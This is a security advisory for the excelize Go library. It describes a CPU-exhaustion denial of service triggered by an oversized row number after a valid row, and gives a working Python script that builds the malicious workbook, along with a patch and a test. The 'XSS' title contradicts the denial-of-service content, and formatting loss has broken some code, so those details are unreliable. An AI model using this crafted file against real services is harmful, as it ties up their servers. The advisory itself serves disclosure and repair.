GHSA-jw42-f3rr-4cc3: XSS

Summary

A worksheet whose <row r="..."> number is far past Excel's 1,048,576-row limit makes File.GetRows and the Rows iterator loop once for every missing row. The row limit is checked in Rows.Next, but not in Rows.Columns, which also reads <row> elements. A 1.5 KB file with <row r="231999999999940"> after an ordinary first row keeps GetRows busy for an estimated 11 days (about 4 ns per missing row), using one CPU core and little memory. Any service that calls GetRows or iterates Rows on an uploaded workbook can be tied up by a single request.

Details

Rows.Next checks the row number:

go rowNum, := attrValToInt("r", xmlElement.Attr) if rowNum > TotalRows { rows.err = ErrMaxRows return false }

But Rows.Columns reads the cells of the current row by consuming tokens until it reaches the next <row> element, and it sets rows.curRow from that element's r without the check (rows.go, around line 179 at 3985c1f):

go if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 { rows.curRow = rowNum }

After that, rows.curRow is 231999999999940, and each later Next() call takes the rows.curRow >= rows.seekRow shortcut and returns true without reading any XML. GetRows then calls Next() and Columns() once per row number from 2 to 231999999999940. The check in Next() never runs, because the oversized <row> element was already consumed by Columns().

If the oversized row is the first row, Next() reads it and the existing check works; TestGetRows covers only that case. The bug needs a valid row first.

Proof of concept

This script uses only the Python standard library and writes a 1.5 KB workbook:

python import zipfile parts = { "[ContentTypes].xml": '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>', "rels/.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>', "xl/workbook.xml": '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>', "xl/rels/workbook.xml.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>', "xl/worksheets/sheet1.xml": '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="231999999999940"><c r="A231999999999940"><v>2</v></c></row></sheetData></worksheet>', } with zipfile.ZipFile("poc.xlsx", "w", zipfile.ZIPDEFLATED) as z: for name, xml in parts.items(): z.writestr(name, xml)

go f, := excelize.OpenFile("poc.xlsx") rows, err := f.GetRows("Sheet1") // does not return

Measured on v2.11.0 (linux/amd64), same file shape: a row number of 2,000,000,000 takes 8.3 s, 4,294,967,297 takes 17.5 s, and 231,999,999,999,940 did not finish in 15 minutes. That's linear, so about 11 days. Max RSS stays at about 10 MB.

The same pattern is in clusterfuzz-testcase-minimized-POIXSSFFuzzer-5937385319563264.xlsx in Apache POI's public test data (its sheet8.xml has <row r="231999999999940">). That's how this was found, by running excelize over POI's test files as part of differential testing with xlsx-lean (https://github.com/keithadler/xlsx-lean).

Suggested patch

Apply the same limit in Columns(), and have Next() stop once an error is recorded. With this change both files above return ErrMaxRows immediately. go test ./... passes (about 130 s). The new test case hangs without the change and passes in 0.015 s with it.

diff --- a/rows.go +++ b/rows.go @@ -97,6 +97,9 @@ type Rows struct { // Next will return true if it finds the next row element. func (rows Rows) Next() bool { + if rows.err != nil { + return false + } rows.seekRow++ if rows.curRow >= rows.seekRow { rows.curRowOpts = rows.seekRowOpts @@ -176,7 +179,10 @@ func (rows Rows) Columns(opts ...Options) ([]string, error) { rowIterator.inElement = xmlElement.Name.Local if rowIterator.inElement == "row" { rowNum := 0 - if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 { + if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum > TotalRows { + rows.err, rows.token = ErrMaxRows, nil + return rowIterator.cells, rows.err + } else if rowNum != 0 { rows.curRow = rowNum } else if rows.token == nil { rows.curRow++ --- a/rowstest.go +++ b/rowstest.go @@ -28,6 +28,18 @@ func TestGetRows(t testing.T) { f.checked = sync.Map{} , err = f.GetRows("Sheet1") assert.Equal(t, ErrMaxRows, err) + // Test get rows from a file with a row number over the limit after a valid + // row, which is read by Rows.Columns rather than Rows.Next: this used to + // iterate once per missing row, about 2.3e14 times here + f = NewFile() + f.Pkg.Store("xl/worksheets/sheet1.xml", fmt.Appendf(nil, <worksheet xmlns="%s"><sheetData><row r="1"><c><v>1</v></c></row><row r="231999999999940"><c><v>2</v></c></row></sheetData></worksheet>, NameSpaceSpreadSheet.Value)) + f.Sheet.Delete("xl/worksheets/sheet1.xml") + buf, err := f.WriteToBuffer() + assert.NoError(t, err) + f, err = OpenReader(buf) + assert.NoError(t, err) + , err = f.GetRows("Sheet1") + assert.Equal(t, ErrMaxRows, err) } func TestRows(t testing.T) {

Impact

Denial of service (CPU exhaustion) for any application that reads untrusted workbooks with GetRows or the Rows iterator. No authentication or user interaction is needed beyond the application accepting a file.